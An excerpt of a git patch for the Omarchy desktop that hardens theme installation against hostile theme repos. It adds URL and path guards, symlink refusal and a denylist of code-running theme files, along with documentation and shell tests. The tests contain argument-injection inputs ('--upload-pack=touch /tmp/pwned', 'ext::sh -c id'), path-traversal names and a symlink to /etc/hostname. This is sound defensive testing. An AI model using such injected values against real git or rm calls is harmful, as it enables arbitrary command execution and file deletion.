++ test/shell.d/theme-install-guards-test.sh | 105 ++++++++++ test/shell.d/theme-staging-test.sh | 228 ++++++++++++++++++++++ 11 files changed, 602 insertions(+), 12 deletions(-) create mode 100644 migrations/1787481315.sh create mode 100755 test/shell.d/theme-install-guards-test.sh create mode 100755 test/shell.d/theme-staging-test.sh diff --git a/bin/omarchy-plymouth-set b/bin/omarchy-plymouth-set index 88e59b0a..1fd70d50 100755 --- a/bin/omarchy-plymouth-set +++ b/bin/omarchy-plymouth-set @@ -34,6 +34,15 @@ if [[ ! -f $logo_path ]]; then exit 1 fi +# omarchy-plymouth-set-by-theme passes a theme's unlock.png straight from +# ~/.config/omarchy/themes, where an installed theme can make it a symlink to +# anything. The copies below land in world-readable /usr/share, so following one +# would republish whatever it points at. +if [[ -L $logo_path ]]; then + echo "Logo file is a symlink, which is not accepted: $logo_path" >&2 + exit 1 +fi + bg_r=$(awk -v n=$((16#${bg_hex:0:2})) 'BEGIN{printf "%.3f", n/255}') bg_g=$(awk -v n=$((16#${bg_hex:2:2})) 'BEGIN{printf "%.3f", n/255}') bg_b=$(awk -v n=$((16#${bg_hex:4:2})) 'BEGIN{printf "%.3f", n/255}') @@ -72,7 +81,7 @@ sed \ -e "s/#ffffff/#$text_hex/g" \ "$sddm_template" | sudo tee "$sddm_dir/Main.qml" >/dev/null -sudo cp "$logo_path" "$sddm_dir/logo.png" +sudo cp "$staging_dir/logo.png" "$sddm_dir/logo.png" for asset in bullet.png entry.png lock.png; do sudo cp "$staging_dir/$asset" "$sddm_dir/$asset" done diff --git a/bin/omarchy-theme-install b/bin/omarchy-theme-install index cf6a9df6..286611e2 100755 --- a/bin/omarchy-theme-install +++ b/bin/omarchy-theme-install @@ -16,24 +16,42 @@ if [[ -z $REPO_URL ]]; then exit 1 fi +# git reads a leading dash as an option, and `::
` as a remote +# helper to run. The helper name is a bare word at the very start, which is what +# this matches; an scp-style IPv6 host such as git@[2001:db8::1]:org/repo.git +# carries `::` too and must still clone. +if [[ $REPO_URL == -* || $REPO_URL =~ ^[A-Za-z0-9][A-Za-z0-9+.-]*:: ]]; then + echo "Error: '$REPO_URL' names a git option or transport helper, not a repository." + exit 1 +fi + THEMES_DIR="$HOME/.config/omarchy/themes" # Strip user@host: prefix from scp-style SSH URLs so basename sees just the path REPO_PATH="$REPO_URL" [[ $REPO_PATH != *"://"* && $REPO_PATH == *:*/* ]] && REPO_PATH="${REPO_PATH#*:}" -THEME_NAME=$(basename "$REPO_PATH" .git | sed -E 's/^omarchy-//; s/-theme$//' | tr '[:upper:]' '[:lower:]') +THEME_NAME=$(basename -- "$REPO_PATH" .git | sed -E 's/^omarchy-//; s/-theme$//' | tr '[:upper:]' '[:lower:]') THEME_PATH="$THEMES_DIR/$THEME_NAME" +# The name comes from the URL and is joined into a path that is about to be +# removed, so a repo called `..` would take ~/.config/omarchy with it. A leading +# dot is refused with it: `host:-s/foo.git` leaves basename with `.git`. +if [[ -z $THEME_NAME || $THEME_NAME == .* || $THEME_NAME == */* ]]; then + echo "Error: '$REPO_URL' does not give a usable theme name." + exit 1 +fi + # Remove existing theme if present if [[ -d $THEME_PATH ]]; then rm -rf "$THEME_PATH" fi # Clone the repo directly to ~/.config/omarchy/themes -if ! git clone "$REPO_URL" "$THEME_PATH"; then +if ! git clone -- "$REPO_URL" "$THEME_PATH"; then echo "Error: Failed to clone theme repo." exit 1 fi -# Apply the new theme with omarchy-theme-set -omarchy-theme-set $THEME_NAME +# Apply the new theme with omarchy-theme-set, which stages only the files an +# extra theme is allowed to contribute and names anything it dropped. +omarchy-theme-set "$THEME_NAME" diff --git a/bin/omarchy-theme-remove b/bin/omarchy-theme-remove index 56ccddf7..7e58289f 100755 --- a/bin/omarchy-theme-remove +++ b/bin/omarchy-theme-remove @@ -21,8 +21,9 @@ fi THEMES_DIR="$HOME/.config/omarchy/themes" THEME_PATH="$THEMES_DIR/$THEME_NAME" -# Ensure a theme was set -if [[ -z $THEME_NAME ]]; then +# Ensure a theme was set, and that the name cannot climb out of THEMES_DIR +# on its way into the rm below. +if [[ -z $THEME_NAME || $THEME_NAME == .* || $THEME_NAME == */* ]]; then exit 1 fi diff --git a/bin/omarchy-theme-set b/bin/omarchy-theme-set index d987d97a..b0c1cda4 100755 --- a/bin/omarchy-theme-set +++ b/bin/omarchy-theme-set @@ -17,6 +17,19 @@ THEME_SET_LOCK="${XDG_RUNTIME_DIR:-/tmp}/omarchy-theme-set.lock" USER_THEMES_PATH="$HOME/.config/omarchy/themes" OMARCHY_THEMES_PATH="$OMARCHY_PATH/themes" +# What a theme installed from a git repo may not ship, because these run code. +# Hyprland requires a theme's hyprland.lua and gum_env.lua at login and Neovim +# loads its neovim.lua at startup, so no .lua from such a theme is staged at all. +# Each terminal config names the program the terminal launches, and vscode.json +# names an extension omarchy-theme-set-vscode installs, a VS Code extension being +# arbitrary JavaScript. Everything else a theme ships is colour and is kept. +# +# Adding a template for another terminal, or for another editor that loads Lua, +# means adding it here. test/shell.d/theme-staging-test.sh fails on a generated +# theme file that is neither denied here nor recorded there as colour-only. +INSTALLED_THEME_DENIED=(alacritty.toml foot.ini ghostty.conf kitty.conf vscode.json) +IGNORED_THEME_FILES=() + run_parallel() { local pid local pids=() @@ -122,12 +135,121 @@ set_theme_background() { ln -nsf "$new_background" "$CURRENT_BACKGROUND_LINK" } +is_denied_installed_file() { + local name="$1" + local denied + + [[ $name == *.lua ]] && return 0 + + for denied in "${INSTALLED_THEME_DENIED[@]}"; do + [[ $name == "$denied" ]] && return 0 + done + + return 1 +} + +# Themes older than colors.toml still get their palette, but their +# alacritty.toml never reaches the staged theme: an Alacritty config names the +# program the terminal launches. +stage_installed_colors_from_alacritty() { + local source="$1" + local scratch + + if [[ -f $NEXT_THEME_PATH/colors.toml ]]; then + return + fi + + if [[ ! -f $source/alacritty.toml || -L $source/alacritty.toml ]]; then + return + fi + + scratch=$(mktemp -d) + cp "$source/alacritty.toml" "$scratch/alacritty.toml" + omarchy-theme-colors-from-alacritty "$scratch" + + if [[ -f $scratch/colors.toml ]]; then + cp "$scratch/colors.toml" "$NEXT_THEME_PATH/colors.toml" + fi + + rm -rf "$scratch" +} + +# Copies a directory without ever following a symlink: in an installed theme one +# points wherever the theme author chose, which is how an unlock.png becomes a +# copy of any file the session can read. +stage_installed_dir() { + local source="$1" + local dest="$2" + local entry name + + mkdir -p "$dest" + + for entry in "$source"/*; do + [[ -e $entry && ! -L $entry ]] || continue + name=${entry##*/} + + if [[ -d $entry ]]; then + stage_installed_dir "$entry" "$dest/$name" + else + cp "$entry" "$dest/$name" + fi + done +} + +# `omarchy theme install` clones into ~/.config/omarchy/themes, so a .git +# directory there means the contents came from a stranger and are held to the +# list above. A directory the user wrote themselves, and a symlink to their own +# working copy, are theirs to fill however they like -- the same distinction +# omarchy-theme-extras draws when it decides which themes it may pull. +theme_came_from_a_repo() { + local source="$1" + + [[ ! -L $source && -d $source/.git ]] +} + +stage_installed_theme() { + local source="$1" + local entry name + + [[ -d $source ]] || return 0 + + for entry in "$source"/*; do + [[ -e $entry ]] || continue + name=${entry##*/} + + if [[ -L $entry ]] || is_denied_installed_file "$name"; then + case "${name,,}" in + readme* | license* | changelog* | *.md | *.txt) ;; + *) IGNORED_THEME_FILES+=("$name") ;; + esac + elif [[ -d $entry ]]; then + stage_installed_dir "$entry" "$NEXT_THEME_PATH/$name" + else + cp "$entry" "$NEXT_THEME_PATH/$name" + fi + done + + stage_installed_colors_from_alacritty "$source" +} + +report_ignored_theme_files() { + (( ${#IGNORED_THEME_FILES[@]} > 0 )) || return 0 + + echo "Ignored in $USER_THEMES_PATH/$THEME_NAME: ${IGNORED_THEME_FILES[*]}" >&2 + echo "A theme installed from a git repo cannot supply Lua, a terminal config, or vscode.json." >&2 +} + THEME_NAME=$(echo "$1" | sed -E 's/<[^>]+>//g' | tr '[:upper:]' '[:lower:]' | tr ' ' '-') THEME_HEADLESS=0 if [[ ${OMARCHY_THEME_HEADLESS:-} == "1" || ${OMARCHY_THEME_OFFLINE:-} == "1" ]]; then THEME_HEADLESS=1 fi +if [[ -z $THEME_NAME || $THEME_NAME == .* || $THEME_NAME == */* ]]; then + echo "Invalid theme name: $1" + exit 1 +fi + if [[ ! -d $OMARCHY_THEMES_PATH/$THEME_NAME ]] && [[ ! -d $USER_THEMES_PATH/$THEME_NAME ]]; then echo "Theme '$THEME_NAME' does not exist" exit 1 @@ -143,9 +265,15 @@ flock 9 rm -rf "$NEXT_THEME_PATH" mkdir -p "$NEXT_THEME_PATH" -# Copy official theme first, then overlay user customizations on top +# Copy official theme first, then overlay the user's theme on top cp -r "$OMARCHY_THEMES_PATH/$THEME_NAME/"* "$NEXT_THEME_PATH/" 2>/dev/null -cp -r "$USER_THEMES_PATH/$THEME_NAME/"* "$NEXT_THEME_PATH/" 2>/dev/null + +if theme_came_from_a_repo "$USER_THEMES_PATH/$THEME_NAME"; then + stage_installed_theme "$USER_THEMES_PATH/$THEME_NAME" + report_ignored_theme_files +else + cp -r "$USER_THEMES_PATH/$THEME_NAME/"* "$NEXT_THEME_PATH/" 2>/dev/null +fi # Generate colors.toml from alacritty.toml if theme is missing colors.toml if [[ ! -f $NEXT_THEME_PATH/colors.toml && -f $NEXT_THEME_PATH/alacritty.toml ]]; then diff --git a/default/agents/skills/omarchy/theming.md b/default/agents/skills/omarchy/theming.md index fcd19ab6..5212aa15 100644 --- a/default/agents/skills/omarchy/theming.md +++ b/default/agents/skills/omarchy/theming.md @@ -22,11 +22,34 @@ omarchy theme install # Install from git repo Additional user backgrounds for any theme (stock or custom) go in `~/.config/omarchy/backgrounds//`. +## What a Theme Installed From a Repo May Not Contain + +A theme the user wrote by hand in `~/.config/omarchy/themes` is unrestricted, as +are Omarchy's own themes. From a theme cloned by `omarchy theme install`, Omarchy +drops only what runs code: any `*.lua` (Hyprland requires a theme's +`hyprland.lua` and `gum_env.lua` at login, Neovim loads `neovim.lua` at startup), +the terminal configs `alacritty.toml`, `foot.ini`, `ghostty.conf` and +`kitty.conf` (each names the program the terminal launches), and `vscode.json` +(names a VS Code extension to install). Those are regenerated from `colors.toml` +through `$OMARCHY_PATH/default/themed/*.tpl`, and named on stderr. + +Everything else a cloned theme ships is kept, including `btop.theme`, +`chromium.theme`, `helix.toml`, `icons.theme`, `keyboard.rgb` and `shell.toml`. +Omarchy tells a cloned theme from the user's own by the `.git` directory a clone +leaves behind. + +To change how Omarchy themes an app for every theme, write the template rather +than the theme: `~/.config/omarchy/themed/.tpl` overrides the +built-in one. See `docs/theming.md` in the Omarchy repo. + ## Customizing a Stock Theme Never edit stock themes under `/usr/share/omarchy/themes/` — changes are lost on update. Two safe options: +Both write into `~/.config/omarchy/themes`, where a theme the user wrote is +unrestricted — the list above applies only to a theme cloned from a repo. + **Overlay (preferred for small tweaks):** create a user theme directory with the SAME slug containing only the files you want to change. When the theme is applied, the stock theme is copied first and your files win on top: diff --git a/docs/theming.md b/docs/theming.md index fb270ce0..2399a7b0 100644 --- a/docs/theming.md +++ b/docs/theming.md @@ -6,20 +6,22 @@ Omarchy themes live under `themes//` in the source tree (installed at `colors.toml`; Omarchy generates the active theme files from `default/themed/*.tpl` when `omarchy-theme-set ` runs. -Beyond `colors.toml` and hand-written config overrides, a theme can ship -`backgrounds/` (users overlay their own via +Beyond `colors.toml` and hand-written config overrides, a first-party theme can +ship `backgrounds/` (users overlay their own via `~/.config/omarchy/backgrounds//`; the active image is the `~/.local/state/omarchy/current/background` symlink), `preview.png` and `preview-unlock.png` for the theme switcher, `icons.theme`, `keyboard.rgb`, `unlock.png`, and a `light.mode` marker file. +A theme installed from a git repo is held to a much shorter list; see [What an installed theme may not ship](#what-an-installed-theme-may-not-ship). + ## Theme activation flow `omarchy-theme-set ` builds a clean staging directory at `~/.local/state/omarchy/current/next-theme`: 1. Copy the first-party theme from `themes//`. -2. Overlay any user theme files from `~/.config/omarchy/themes//`. +2. Overlay `~/.config/omarchy/themes//`, in full when the user wrote it and filtered when it came from a git repo, naming anything it dropped on stderr. 3. If needed, generate `colors.toml` from `alacritty.toml`. 4. Run `omarchy-theme-set-templates` to render templates into the staging theme. @@ -43,6 +45,26 @@ Making a new app follow theme changes means adding its restart/retint command to that list. Runs serialize on a `flock`, so scripted theme changes queue instead of racing. +## What an installed theme may not ship + +`themes//` in this repo is Omarchy's own code and is trusted. So is a theme the user wrote by hand in `~/.config/omarchy/themes//`: it is their machine and their file, and both stage in full. + +`omarchy theme install ` is different. It clones a stranger's git repo straight into that same directory, so the contents are whatever the theme author pushed. `omarchy-theme-set` tells the two apart the way `omarchy-theme-extras` already does — a `.git` directory means it was cloned, while a plain directory or a symlink to a working copy is the user's own — and from a cloned one it drops only what can run code: + +- any `*.lua` — Hyprland `require`s a theme's `hyprland.lua` and `gum_env.lua` at login, and Neovim loads its `neovim.lua` at startup +- `alacritty.toml`, `foot.ini`, `ghostty.conf`, `kitty.conf` — each names the program the terminal launches +- `vscode.json` — names the extension `omarchy-theme-set-vscode` installs, and a VS Code extension is arbitrary JavaScript + +Symlinks are dropped with them, at any depth; in a cloned theme they point wherever the theme author chose. Everything a cloned theme ships that is colour is kept, including files Omarchy would otherwise have generated — `btop.theme`, `chromium.theme`, `helix.toml`, `shell.toml`, `icons.theme`, `keyboard.rgb` and the rest — so a theme can still say exactly how it wants each app to look. What is dropped gets generated from `default/themed/*.tpl` instead, and is named on stderr. + +A denylist is only right while it is maintained. Adding a template for another terminal, or for another editor that loads Lua, means adding it to `INSTALLED_THEME_DENIED` in `bin/omarchy-theme-set`; `test/shell.d/theme-staging-test.sh` fails on any `default/themed/*.tpl` whose output is recorded as neither code nor colour, so a new template cannot be added without that decision being made. + +A theme predating `colors.toml` is not left without a palette: its `alacritty.toml` is read through `omarchy-theme-colors-from-alacritty` into a scratch directory and only the resulting `colors.toml` is staged, so the colors survive and the terminal config does not. + +The restriction lives in `omarchy-theme-set` rather than in `omarchy-theme-install` on purpose. Filtering at staging also covers themes installed before the rule existed and files a theme gains later through `omarchy theme update`. + +What this does not cover: a theme distributed as an archive rather than a git repo, extracted into `~/.config/omarchy/themes/` by hand, is indistinguishable from one the user wrote and stages in full. `omarchy theme install` only takes git URLs, so the supported path is always filtered, but the check is a statement about where a theme came from and not a sandbox. + ## `colors.toml` `colors.toml` provides the palette keys used by templates. Keys are grouped @@ -352,6 +374,7 @@ local active_border_color = { colors = { "rgba(33ccffee)", "rgba(00ff99ee)" }, a ## Adding or overriding theme files - Add palette values to `themes//colors.toml`. +- Hand-written overrides work everywhere except a `.lua`, a terminal config or a `vscode.json` in a theme cloned from a git repo; see [What an installed theme may not ship](#what-an-installed-theme-may-not-ship). - Prefer generated files when the theme can be expressed with templates. - Add a hand-written file in `themes//` only when that theme needs to override the generated output entirely. diff --git a/manual/43-making-your-own-theme.md b/manual/43-making-your-own-theme.md index 2563f7c3..ed6aee82 100644 --- a/manual/43-making-your-own-theme.md +++ b/manual/43-making-your-own-theme.md @@ -6,6 +6,16 @@ The main file you have to tweak is `colors.toml`. That defines the color set tha You can also use the included Aether application to create a new theme using a lovely GUI interface to play with colors and search for backgrounds. Just start it via the apps menu on `Super + Alt + Space`. +### What an installed theme can contain + +A theme you write yourself in `~/.config/omarchy/themes` can contain whatever you like — it's your machine and your file, and Omarchy applies all of it. + +A theme you install from someone else's repo with `omarchy theme install` keeps everything that's colour, and loses the handful of files that would run code on your machine: any `.lua` file, the terminal configs (`alacritty.toml`, `foot.ini`, `ghostty.conf`, `kitty.conf`), and `vscode.json`. A theme's `hyprland.lua` is Lua your compositor runs at login, a terminal config names the program your terminal starts, and `vscode.json` names a VSCode extension to install. Installing someone's theme should change what your desktop looks like, never what it runs. + +Everything else still works exactly as the theme author wrote it — `btop.theme`, `chromium.theme`, `helix.toml`, `icons.theme`, `shell.toml`, the backgrounds and the previews are all kept. Only what was dropped gets regenerated from `colors.toml` on your machine. + +Omarchy tells the two apart by whether the theme has its own git repo inside it, which is what `omarchy theme install` leaves behind when it clones. So a theme you wrote stays yours, and one you pulled off the internet stays colours. + ### Light mode If you're making a light mode theme, set `mode = "light"` at the top of your `colors.toml`. Then it'll automatically be paired with light mode for all the apps. (The old way of dropping an empty file called `light.mode` in the root of your theme still works too.) @@ -28,4 +38,6 @@ There's a fully commented `alacritty.toml.tpl.sample` in that folder to copy fro If you want to distribute your theme so others can use it, you need to put it on a public git server, like GitHub. Then people can install it using _Install > Style > Theme_ in the Omarchy menu using that URL. It's recommended that you follow the naming convention of `omarchy-[themename]-theme`, as the theme will show correctly as just `[themename]` in the theme selection menu after installation. +Remember that once it's installed from a repo, any `.lua`, terminal config or `vscode.json` it ships is dropped, so don't build the theme around those. + You can have your theme added to [the extra themes page](https://omarchy.org/themes/) by sending a pull request to [the omarchy-site repo](https://github.com/omacom-io/omarchy-site). diff --git a/migrations/1787481315.sh b/migrations/1787481315.sh new file mode 100644 index 00000000..3aa19dea --- /dev/null +++ b/migrations/1787481315.sh @@ -0,0 +1,25 @@ +echo "Re-stage the current theme so an installed theme's code is dropped" + +# A theme installed from a repo could ship hyprland.lua, gum_env.lua, neovim.lua +# and terminal configs, and they were copied straight into the staged theme that +# Hyprland requires at login and the terminals include at launch. Staging drops +# them now, but an install that already applied such a theme keeps the staged +# copies until something changes the theme, which may be never. Re-stage once so +# the fix reaches the themes already in place rather than only the next one. +theme_name_path="$HOME/.local/state/omarchy/current/theme.name" + +[[ -s $theme_name_path ]] || exit 0 + +theme_name=$(<"$theme_name_path") + +# A theme removed while it was still current leaves theme.name naming it and the +# staged copy behind, so there is nothing left to re-stage from and those staged +# files are exactly the ones this is here to drop. Seed the default instead, +# which is where a fresh install starts and what the removal should have left. +if [[ ! -d $OMARCHY_PATH/themes/$theme_name && ! -d $HOME/.config/omarchy/themes/$theme_name ]]; then + echo "Theme '$theme_name' no longer exists; applying the default instead" + omarchy-theme-set "Tokyo Night" + exit 0 +fi + +omarchy-theme-refresh diff --git a/test/shell.d/plymouth-set-test.sh b/test/shell.d/plymouth-set-test.sh index bbc8b6de..2cbc95be 100755 --- a/test/shell.d/plymouth-set-test.sh +++ b/test/shell.d/plymouth-set-test.sh @@ -23,3 +23,21 @@ grep -Fq \ fail "omarchy-plymouth-set avoids copying staging directory ownership and mode" pass "Plymouth asset copy preserves the package-owned directory metadata" + +# omarchy-plymouth-set-by-theme hands over a theme's unlock.png from +# ~/.config/omarchy/themes, and both copies below land in world-readable +# /usr/share, so a symlink there would republish whatever it points at. +secret="$test_tmp/secret" +printf 'not yours\n' >"$secret" +ln -s "$secret" "$test_tmp/logo-link.png" + +output=$(OMARCHY_PATH="$ROOT" bash "$ROOT/bin/omarchy-plymouth-set" '#1d2021' '#ebdbb2' "$test_tmp/logo-link.png" 2>&1) +status=$? + +(( status != 0 )) || fail "omarchy-plymouth-set refuses a symlinked logo" +[[ $output == *"symlink"* ]] || fail "omarchy-plymouth-set says why it refused the logo" "$output" + +grep -Fq 'sudo cp "$staging_dir/logo.png" "$sddm_dir/logo.png"' "$ROOT/bin/omarchy-plymouth-set" || + fail "omarchy-plymouth-set copies the staged logo to SDDM rather than rereading the caller's path as root" + +pass "a themed logo cannot republish a file it merely points at" diff --git a/test/shell.d/theme-install-guards-test.sh b/test/shell.d/theme-install-guards-test.sh new file mode 100755 index 00000000..be2d41f5 --- /dev/null +++ b/test/shell.d/theme-install-guards-test.sh @@ -0,0 +1,105 @@ +#!/bin/bash + +set -euo pipefail + +# omarchy-theme-install feeds a pasted URL to git and a name derived from it to +# rm, and omarchy-theme-remove feeds its argument to rm. Both are exercised here +# with git and the themes directory stubbed, so a guard that stopped working +# shows up as a clone or a removal that should never have been reached. + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +mock_bin="$test_tmp/bin" +mkdir -p "$mock_bin" + +cat >"$mock_bin/git" <<'SH' +#!/bin/bash +printf '%s\n' "$*" >>"$OMARCHY_TEST_GIT_CALLS" +[[ $1 == "clone" ]] && mkdir -p "${*: -1}" +exit 0 +SH + +cat >"$mock_bin/gum" <<'SH' +#!/bin/bash +exit 1 +SH + +for command in omarchy-theme-set omarchy-notification-send omarchy-menu-select; do + printf '#!/bin/bash\nprintf "%%s\\n" "$*" >>"$OMARCHY_TEST_THEME_CALLS"\nexit 0\n' >"$mock_bin/$command" +done + +chmod +x "$mock_bin"/* + +git_calls="$test_tmp/git-calls" +theme_calls="$test_tmp/theme-calls" + +install_theme() { + : >"$git_calls" + : >"$theme_calls" + + HOME="$test_tmp/home" PATH="$mock_bin:$PATH" \ + OMARCHY_TEST_GIT_CALLS="$git_calls" OMARCHY_TEST_THEME_CALLS="$theme_calls" \ + bash "$ROOT/bin/omarchy-theme-install" "$1" >"$test_tmp/out" 2>&1 || return $? +} + +mkdir -p "$test_tmp/home/.config/omarchy/themes" + +# A URL git would read as an option or as a remote helper to run. +for url in "-x" "--upload-pack=touch /tmp/pwned" "ext::sh -c id" "fd::0,1"; do + if install_theme "$url"; then + fail "omarchy-theme-install refuses the URL '$url'" + fi + + [[ ! -s $git_calls ]] || fail "omarchy-theme-install refuses '$url' before running git" "$(cat "$git_calls")" +done + +pass "a URL that names a git option or a transport helper never reaches git" + +# A URL whose derived name would escape the themes directory. +for url in "https://example.com/..git" "https://example.com/.git"; do + if install_theme "$url"; then + fail "omarchy-theme-install refuses the derived name from '$url'" + fi + + [[ ! -s $git_calls ]] || fail "omarchy-theme-install refuses '$url' before running git" "$(cat "$git_calls")" +done + +pass "a URL whose name would climb out of the themes directory never reaches git" + +# basename reads a leading dash as an option once the scp-style prefix is gone. +install_theme "host:-s/foo.git" || fail "omarchy-theme-install accepts a normal scp-style URL" +grep -Fq -- "-- host:-s/foo.git" "$git_calls" || fail "omarchy-theme-install passes the URL after --" "$(cat "$git_calls")" +grep -Fq "/themes/foo" "$git_calls" || fail "omarchy-theme-install derives 'foo', not '.git'" "$(cat "$git_calls")" + +pass "a dash inside the path does not become a basename option" + +# And the ordinary case still works. +install_theme "https://github.com/example/omarchy-cool-theme.git" || fail "omarchy-theme-install clones a normal URL" +grep -Fq "/themes/cool" "$git_calls" || fail "omarchy-theme-install derives the theme name" "$(cat "$git_calls")" +grep -Fxq "cool" "$theme_calls" || fail "omarchy-theme-install applies the theme it installed" "$(cat "$theme_calls")" + +pass "an ordinary theme URL still clones and applies" + +# omarchy-theme-remove joins its argument into the path it deletes. +remove_theme() { + : >"$theme_calls" + + HOME="$test_tmp/home" PATH="$mock_bin:$PATH" OMARCHY_TEST_THEME_CALLS="$theme_calls" \ + bash "$ROOT/bin/omarchy-theme-remove" "$1" >"$test_tmp/out" 2>&1 || return $? +} + +canary="$test_tmp/home/.config/omarchy/canary" +printf 'still here\n' >"$canary" + +for name in ".." "." "../../evil" ".git"; do + if remove_theme "$name"; then + fail "omarchy-theme-remove refuses the theme name '$name'" + fi + + [[ -f $canary ]] || fail "omarchy-theme-remove refuses '$name' before removing anything" +done + +pass "a theme name cannot climb out of the themes directory on the way to rm" diff --git a/test/shell.d/theme-staging-test.sh b/test/shell.d/theme-staging-test.sh new file mode 100755 index 00000000..cc749a9e --- /dev/null +++ b/test/shell.d/theme-staging-test.sh @@ -0,0 +1,228 @@ +#!/bin/bash + +set -euo pipefail + +# A theme installed with `omarchy theme install` is a stranger's git repo, so +# omarchy-theme-set drops the files that would run its code -- Lua, terminal +# configs, vscode.json -- and keeps the colour. A theme the user wrote themselves +# is not filtered at all. + +source "$(cd -- "$(dirname -- "${BASH_SOURCE[0]}")" && pwd)/base-test.sh" + +test_tmp=$(mktemp -d) +trap 'rm -rf "$test_tmp"' EXIT + +home="$test_tmp/home" +state="$home/.local/state/omarchy/current" +themes="$home/.config/omarchy/themes" +mkdir -p "$state" "$themes" + +marker="omarchy-theme-staging-marker" + +set_theme() { + HOME="$home" OMARCHY_PATH="$ROOT" PATH="$ROOT/bin:$PATH" \ + OMARCHY_THEME_HEADLESS=1 OMARCHY_THEME_SKIP_BACKGROUND=1 \ + XDG_RUNTIME_DIR="$test_tmp" \ + bash "$ROOT/bin/omarchy-theme-set" "$1" 2>"$test_tmp/stderr" || return $? +} + +staged() { + printf '%s' "$state/theme/$1" +} + +assert_staged() { + [[ -f $(staged "$1") ]] || fail "$2" +} + +assert_not_staged() { + [[ ! -e $(staged "$1") ]] || fail "$2" +} + +assert_no_marker() { + ! grep -q "$marker" "$(staged "$1")" || fail "$2" +} + +write_colors() { + cat >"$1" <"$hostile/hyprland.lua" +printf 'vim.cmd("%s")\n' "$marker" >"$hostile/neovim.lua" +printf 'shell %s\n' "$marker" >"$hostile/kitty.conf" +printf '[terminal.shell]\nprogram = "%s"\n' "$marker" >"$hostile/alacritty.toml" +printf 'shell = "%s"\n' "$marker" >"$hostile/foot.ini" +printf 'command = "%s"\n' "$marker" >"$hostile/ghostty.conf" +printf 'hl.env("GUM_INPUT_PROMPT", "%s")\n' "$marker" >"$hostile/gum_env.lua" +printf '[bar]\nbackground = "#%s"\n' "000000" >"$hostile/shell.toml" +printf '{}\n' >"$hostile/vscode.json" +printf 'Yaru-red\n' >"$hostile/icons.theme" +printf 'theme[main_bg]="#000000"\n' >"$hostile/btop.theme" +printf 'png\n' >"$hostile/preview.png" +printf 'png\n' >"$hostile/backgrounds/1-real.png" +printf '%s\n' "$marker" >"$hostile/backgrounds/payload.sh" +printf '# notes\n' >"$hostile/README.md" +ln -s /etc/hostname "$hostile/unlock.png" + +set_theme hostile || fail "omarchy-theme-set applies a theme that ships disallowed files" + +assert_staged colors.toml "the theme's colors.toml is staged" +grep -q '#7aa2f7' "$(staged colors.toml)" || fail "the staged colors.toml is the theme's palette" +assert_staged light.mode "the light mode marker is staged" +assert_staged preview.png "the theme's preview image is staged" +assert_staged backgrounds/1-real.png "an image in backgrounds/ is staged" + +assert_not_staged unlock.png "a symlink is not followed out of the theme" +assert_not_staged vscode.json "vscode.json names an extension to install and is not staged" + +assert_staged icons.theme "the theme's icon set name is staged" +grep -q 'Yaru-red' "$(staged icons.theme)" || fail "the staged icons.theme is the theme's" +assert_staged btop.theme "the theme's btop colours are staged" +grep -q 'main_bg' "$(staged btop.theme)" || fail "the staged btop.theme is the theme's" +assert_not_staged .git "the clone's own git directory is never staged" + +# These run code, so the theme's versions must lose to Omarchy's generated ones +# rather than merely be absent. +for generated in hyprland.lua neovim.lua gum_env.lua kitty.conf alacritty.toml foot.ini ghostty.conf; do + assert_staged "$generated" "$generated is generated from Omarchy's template" + assert_no_marker "$generated" "an installed theme cannot supply $generated" +done + +# Colour is kept, including a file Omarchy would otherwise have generated. +assert_staged shell.toml "shell.toml is staged" +grep -q '000000' "$(staged shell.toml)" || fail "an installed theme's shell.toml colours are kept" + +grep -q 'hyprland.lua' "$test_tmp/stderr" || fail "omarchy-theme-set names the files it ignored" +! grep -q 'README.md' "$test_tmp/stderr" || fail "omarchy-theme-set does not report a theme's documentation" + +pass "an installed theme keeps its colour and loses everything that runs code" + +# icons.theme is staged verbatim and handed to gsettings, so a symlinked one +# would stage a copy of whatever it points at. +linked="$themes/linked" +mkdir -p "$linked/.git" +write_colors "$linked/colors.toml" +ln -s /etc/hostname "$linked/icons.theme" + +set_theme linked || fail "omarchy-theme-set applies a theme whose icons.theme is a symlink" +assert_not_staged icons.theme "a symlinked icons.theme is not followed" + +pass "a symlinked icon set name is refused like any other symlink" + +# A theme predating colors.toml still gets a palette, without its alacritty.toml +# reaching the staged theme. +legacy="$themes/legacy" +mkdir -p "$legacy/.git" +cat >"$legacy/alacritty.toml" <"$themes/tokyo-night/hyprland.lua" + +set_theme "Tokyo Night" || fail "omarchy-theme-set applies a stock theme with a user overlay" +grep -q '#abcdef' "$(staged colors.toml)" || fail "a user overlay still replaces the stock palette" +assert_no_marker hyprland.lua "a user overlay cannot add Lua to a stock theme" + +pass "an overlay on a stock theme repaints it without adding code" + +# A theme the user wrote themselves has no git repo behind it and is theirs. +mine="$themes/mine" +mkdir -p "$mine" +write_colors "$mine/colors.toml" +printf 'os.execute("%s")\n' "$marker" >"$mine/hyprland.lua" +printf '{"name":"Mine","extension":"pub.ext"}\n' >"$mine/vscode.json" + +set_theme mine || fail "omarchy-theme-set applies a theme the user wrote" +grep -q "$marker" "$(staged hyprland.lua)" || fail "a theme the user wrote keeps its own hyprland.lua" +assert_staged vscode.json "a theme the user wrote keeps every file it ships" +[[ ! -s $test_tmp/stderr ]] || fail "a theme the user wrote reports nothing ignored" "$(cat "$test_tmp/stderr")" + +pass "a theme the user wrote is not held to the installed-theme list" + +# A working copy symlinked into the themes folder is the user's own too. +ln -s "$mine" "$themes/mine-link" +set_theme mine-link || fail "omarchy-theme-set applies a symlinked working copy" +grep -q "$marker" "$(staged hyprland.lua)" || fail "a symlinked working copy is the user's own" + +pass "a symlinked working copy is the user's own" + +# The name is joined into paths that get removed and copied into. +for name in .. . "../../evil"; do + if set_theme "$name" >/dev/null; then + fail "omarchy-theme-set rejects the theme name '$name'" + fi +done + +pass "a theme name cannot climb out of the theme directories" + +# A denylist is only correct while someone adding a template classifies what it +# generates. Every generated theme file is either denied to an installed theme or +# recorded here as carrying colour, so a new template fails until it is placed. +denied=(alacritty.toml foot.ini ghostty.conf kitty.conf gum_env.lua hyprland.lua neovim.lua vscode.json) +colour_only=(btop.theme chromium.theme claude.json helix.toml hyprland-preview-share-picker.css keyboard.rgb obsidian.css pi.json shell.toml vscode-theme.json) + +for tpl in "$ROOT"/default/themed/*.tpl; do + generated=$(basename "$tpl" .tpl) + classified="" + + for name in "${denied[@]}" "${colour_only[@]}"; do + if [[ $generated == "$name" ]]; then + classified=1 + break + fi + done + + [[ -n $classified 